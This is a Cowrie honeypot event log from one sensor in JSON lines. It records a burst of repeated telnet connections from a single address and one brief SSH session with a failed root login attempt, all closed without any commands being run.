{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44140,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9c859b157ea","protocol":"telnet","message":"New connection: 23.111.140.22:44140 (10.17.0.5:23) [session: c9c859b157ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:11.622409Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45884,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe8bb765504c","protocol":"telnet","message":"New connection: 23.111.140.22:45884 (10.17.0.5:23) [session: fe8bb765504c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:12.170207Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46998,"dst_ip":"10.17.0.5","dst_port":23,"session":"c76eb757a4e0","protocol":"telnet","message":"New connection: 23.111.140.22:46998 (10.17.0.5:23) [session: c76eb757a4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:12.590152Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44426,"dst_ip":"10.17.0.5","dst_port":23,"session":"23ac568574e4","protocol":"telnet","message":"New connection: 23.111.140.22:44426 (10.17.0.5:23) [session: 23ac568574e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:12.719859Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50370,"dst_ip":"10.17.0.5","dst_port":23,"session":"5727a677d486","protocol":"telnet","message":"New connection: 23.111.140.22:50370 (10.17.0.5:23) [session: 5727a677d486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:13.701511Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52614,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2b14f22a826","protocol":"telnet","message":"New connection: 23.111.140.22:52614 (10.17.0.5:23) [session: b2b14f22a826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:15.402577Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33746,"dst_ip":"10.17.0.5","dst_port":23,"session":"c101d80bd546","protocol":"telnet","message":"New connection: 23.111.140.22:33746 (10.17.0.5:23) [session: c101d80bd546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:17.201719Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56928,"dst_ip":"10.17.0.5","dst_port":23,"session":"49687a3b65ab","protocol":"telnet","message":"New connection: 23.111.140.22:56928 (10.17.0.5:23) [session: 49687a3b65ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:17.699787Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36182,"dst_ip":"10.17.0.5","dst_port":23,"session":"93277d6ef8ac","protocol":"telnet","message":"New connection: 23.111.140.22:36182 (10.17.0.5:23) [session: 93277d6ef8ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:17.942781Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58548,"dst_ip":"10.17.0.5","dst_port":23,"session":"94728cacd8bc","protocol":"telnet","message":"New connection: 23.111.140.22:58548 (10.17.0.5:23) [session: 94728cacd8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:19.106219Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37666,"dst_ip":"10.17.0.5","dst_port":23,"session":"3660daad5508","protocol":"telnet","message":"New connection: 23.111.140.22:37666 (10.17.0.5:23) [session: 3660daad5508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:19.450569Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40338,"dst_ip":"10.17.0.5","dst_port":23,"session":"3add3c721f68","protocol":"telnet","message":"New connection: 23.111.140.22:40338 (10.17.0.5:23) [session: 3add3c721f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:20.353801Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42950,"dst_ip":"10.17.0.5","dst_port":23,"session":"a18db10d37d9","protocol":"telnet","message":"New connection: 23.111.140.22:42950 (10.17.0.5:23) [session: a18db10d37d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:21.112067Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41272,"dst_ip":"10.17.0.5","dst_port":23,"session":"724572d50088","protocol":"telnet","message":"New connection: 23.111.140.22:41272 (10.17.0.5:23) [session: 724572d50088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:22.659716Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45530,"dst_ip":"10.17.0.5","dst_port":23,"session":"283c0838d5d5","protocol":"telnet","message":"New connection: 23.111.140.22:45530 (10.17.0.5:23) [session: 283c0838d5d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:23.946455Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55046,"dst_ip":"10.17.0.5","dst_port":23,"session":"69021a2144fa","protocol":"telnet","message":"New connection: 23.111.140.22:55046 (10.17.0.5:23) [session: 69021a2144fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:24.039878Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52940,"dst_ip":"10.17.0.5","dst_port":23,"session":"b374250d3ab6","protocol":"telnet","message":"New connection: 23.111.140.22:52940 (10.17.0.5:23) [session: b374250d3ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:24.409138Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53202,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a25f39e9d46","protocol":"telnet","message":"New connection: 23.111.140.22:53202 (10.17.0.5:23) [session: 4a25f39e9d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:24.502745Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57110,"dst_ip":"10.17.0.5","dst_port":23,"session":"11eb8174a5ac","protocol":"telnet","message":"New connection: 23.111.140.22:57110 (10.17.0.5:23) [session: 11eb8174a5ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:24.751135Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54556,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b35f1aa4971","protocol":"telnet","message":"New connection: 23.111.140.22:54556 (10.17.0.5:23) [session: 2b35f1aa4971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:24.930302Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38004,"dst_ip":"10.17.0.5","dst_port":23,"session":"42e8a3ccf723","protocol":"telnet","message":"New connection: 23.111.140.22:38004 (10.17.0.5:23) [session: 42e8a3ccf723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:27.841898Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36552,"dst_ip":"10.17.0.5","dst_port":23,"session":"529a5fb78194","protocol":"telnet","message":"New connection: 23.111.140.22:36552 (10.17.0.5:23) [session: 529a5fb78194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:28.354412Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41184,"dst_ip":"10.17.0.5","dst_port":23,"session":"981764f33514","protocol":"telnet","message":"New connection: 23.111.140.22:41184 (10.17.0.5:23) [session: 981764f33514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:28.952523Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":47818,"dst_ip":"10.17.0.5","dst_port":22,"session":"74dc46f08c80","protocol":"ssh","message":"New connection: 59.17.95.129:47818 (10.17.0.5:22) [session: 74dc46f08c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:29.227440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:29.232760Z","src_ip":"59.17.95.129","session":"74dc46f08c80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:29.429826Z","src_ip":"59.17.95.129","session":"74dc46f08c80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53462,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d7f5518785c","protocol":"telnet","message":"New connection: 23.111.140.22:53462 (10.17.0.5:23) [session: 0d7f5518785c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:30.020267Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"newmedia","message":"login attempt [root/newmedia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:30.250042Z","src_ip":"59.17.95.129","session":"74dc46f08c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:31.450584Z","src_ip":"59.17.95.129","session":"74dc46f08c80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52148,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a880b94a5fa","protocol":"telnet","message":"New connection: 23.111.140.22:52148 (10.17.0.5:23) [session: 0a880b94a5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:32.813378Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36146,"dst_ip":"10.17.0.5","dst_port":23,"session":"8008805e9127","protocol":"telnet","message":"New connection: 23.111.140.22:36146 (10.17.0.5:23) [session: 8008805e9127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:33.218144Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45490,"dst_ip":"10.17.0.5","dst_port":23,"session":"43f8294087b9","protocol":"telnet","message":"New connection: 23.111.140.22:45490 (10.17.0.5:23) [session: 43f8294087b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:33.503844Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50504,"dst_ip":"10.17.0.5","dst_port":23,"session":"d00041580875","protocol":"telnet","message":"New connection: 23.111.140.22:50504 (10.17.0.5:23) [session: d00041580875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:35.221285Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56678,"dst_ip":"10.17.0.5","dst_port":23,"session":"d95412f40d84","protocol":"telnet","message":"New connection: 23.111.140.22:56678 (10.17.0.5:23) [session: d95412f40d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:35.426373Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60696,"dst_ip":"10.17.0.5","dst_port":23,"session":"32b8761deb74","protocol":"telnet","message":"New connection: 23.111.140.22:60696 (10.17.0.5:23) [session: 32b8761deb74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:35.792234Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58806,"dst_ip":"10.17.0.5","dst_port":23,"session":"81a3ba130693","protocol":"telnet","message":"New connection: 23.111.140.22:58806 (10.17.0.5:23) [session: 81a3ba130693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:36.170360Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35076,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d39841cf9d5","protocol":"telnet","message":"New connection: 23.111.140.22:35076 (10.17.0.5:23) [session: 4d39841cf9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:36.576550Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38352,"dst_ip":"10.17.0.5","dst_port":23,"session":"74745490f747","protocol":"telnet","message":"New connection: 23.111.140.22:38352 (10.17.0.5:23) [session: 74745490f747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:38.568459Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42374,"dst_ip":"10.17.0.5","dst_port":23,"session":"14cb37041884","protocol":"telnet","message":"New connection: 23.111.140.22:42374 (10.17.0.5:23) [session: 14cb37041884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:39.798552Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35312,"dst_ip":"159.203.135.109","dst_port":23,"session":"713490de13f5","protocol":"telnet","message":"New connection: 174.138.46.234:35312 (159.203.135.109:23) [session: 713490de13f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:41.679648Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51552,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd65acaf516a","protocol":"telnet","message":"New connection: 23.111.140.22:51552 (10.17.0.5:23) [session: dd65acaf516a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:41.687541Z"}
{"eventid":"cowrie.session.closed","duration":30.91511559486389,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:41.772118Z","src_ip":"23.111.140.22","session":"72724c7d67a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.792705297470093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:42.414983Z","src_ip":"23.111.140.22","session":"c9c859b157ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50866,"dst_ip":"10.17.0.5","dst_port":23,"session":"70885ff7ad9f","protocol":"telnet","message":"New connection: 23.111.140.22:50866 (10.17.0.5:23) [session: 70885ff7ad9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:42.453089Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35562,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca306bc5a236","protocol":"telnet","message":"New connection: 174.138.46.234:35562 (159.203.135.109:23) [session: ca306bc5a236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:42.538242Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54432,"dst_ip":"10.17.0.5","dst_port":23,"session":"c594dde32043","protocol":"telnet","message":"New connection: 23.111.140.22:54432 (10.17.0.5:23) [session: c594dde32043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:42.642320Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45852,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1283aac00a7","protocol":"telnet","message":"New connection: 23.111.140.22:45852 (10.17.0.5:23) [session: d1283aac00a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:42.825255Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57088,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff34fe4ab060","protocol":"telnet","message":"New connection: 23.111.140.22:57088 (10.17.0.5:23) [session: ff34fe4ab060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:43.528617Z"}
{"eventid":"cowrie.session.closed","duration":31.3953275680542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:43.565444Z","src_ip":"23.111.140.22","session":"fe8bb765504c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":45154,"dst_ip":"10.17.0.5","dst_port":23,"session":"60c1ffa805da","protocol":"telnet","message":"New connection: 217.182.190.44:45154 (10.17.0.5:23) [session: 60c1ffa805da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:43.712825Z"}
{"eventid":"cowrie.session.closed","duration":31.273748874664307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:43.863789Z","src_ip":"23.111.140.22","session":"c76eb757a4e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58342,"dst_ip":"10.17.0.5","dst_port":23,"session":"5707a4cb96b5","protocol":"telnet","message":"New connection: 23.111.140.22:58342 (10.17.0.5:23) [session: 5707a4cb96b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:43.915017Z"}
{"eventid":"cowrie.session.closed","duration":31.549464464187622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:44.269188Z","src_ip":"23.111.140.22","session":"23ac568574e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.219340085983276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:44.920676Z","src_ip":"23.111.140.22","session":"5727a677d486","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60168,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d86bf6ba0bc","protocol":"telnet","message":"New connection: 23.111.140.22:60168 (10.17.0.5:23) [session: 0d86bf6ba0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:45.541403Z"}
{"eventid":"cowrie.session.closed","duration":31.25393557548523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:46.656384Z","src_ip":"23.111.140.22","session":"b2b14f22a826","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36778,"dst_ip":"10.17.0.5","dst_port":23,"session":"d48be1c8a470","protocol":"telnet","message":"New connection: 23.111.140.22:36778 (10.17.0.5:23) [session: d48be1c8a470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:47.080832Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37378,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba76d1e0c7a7","protocol":"telnet","message":"New connection: 23.111.140.22:37378 (10.17.0.5:23) [session: ba76d1e0c7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:47.330647Z"}
{"eventid":"cowrie.session.closed","duration":5.934108734130859,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:47.613647Z","src_ip":"174.138.46.234","session":"713490de13f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.782917261123657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:48.984511Z","src_ip":"23.111.140.22","session":"c101d80bd546","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.344793796539307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:49.044481Z","src_ip":"23.111.140.22","session":"49687a3b65ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39840,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fe011b99a58","protocol":"telnet","message":"New connection: 23.111.140.22:39840 (10.17.0.5:23) [session: 1fe011b99a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:49.090005Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45836,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e1897f790a7","protocol":"telnet","message":"New connection: 23.111.140.22:45836 (10.17.0.5:23) [session: 8e1897f790a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:49.093809Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42990,"dst_ip":"10.17.0.5","dst_port":23,"session":"738b9725a1cf","protocol":"telnet","message":"New connection: 23.111.140.22:42990 (10.17.0.5:23) [session: 738b9725a1cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:49.154693Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43526,"dst_ip":"10.17.0.5","dst_port":23,"session":"8465a9971837","protocol":"telnet","message":"New connection: 23.111.140.22:43526 (10.17.0.5:23) [session: 8465a9971837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:49.372933Z"}
{"eventid":"cowrie.session.closed","duration":7.471470594406128,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:50.009636Z","src_ip":"174.138.46.234","session":"ca306bc5a236","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.1149787902832,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:50.057645Z","src_ip":"23.111.140.22","session":"93277d6ef8ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49818,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3c6b348908a","protocol":"telnet","message":"New connection: 23.111.140.22:49818 (10.17.0.5:23) [session: d3c6b348908a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:50.472926Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51880,"dst_ip":"10.17.0.5","dst_port":23,"session":"6030893ba690","protocol":"telnet","message":"New connection: 23.111.140.22:51880 (10.17.0.5:23) [session: 6030893ba690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:51.046040Z"}
{"eventid":"cowrie.session.closed","duration":30.71170711517334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:51.065405Z","src_ip":"23.111.140.22","session":"3add3c721f68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56118,"dst_ip":"10.17.0.5","dst_port":23,"session":"46495a145fe3","protocol":"telnet","message":"New connection: 23.111.140.22:56118 (10.17.0.5:23) [session: 46495a145fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:52.425488Z"}
{"eventid":"cowrie.session.closed","duration":31.90362524986267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:53.015385Z","src_ip":"23.111.140.22","session":"a18db10d37d9","protocol":"telnet"}
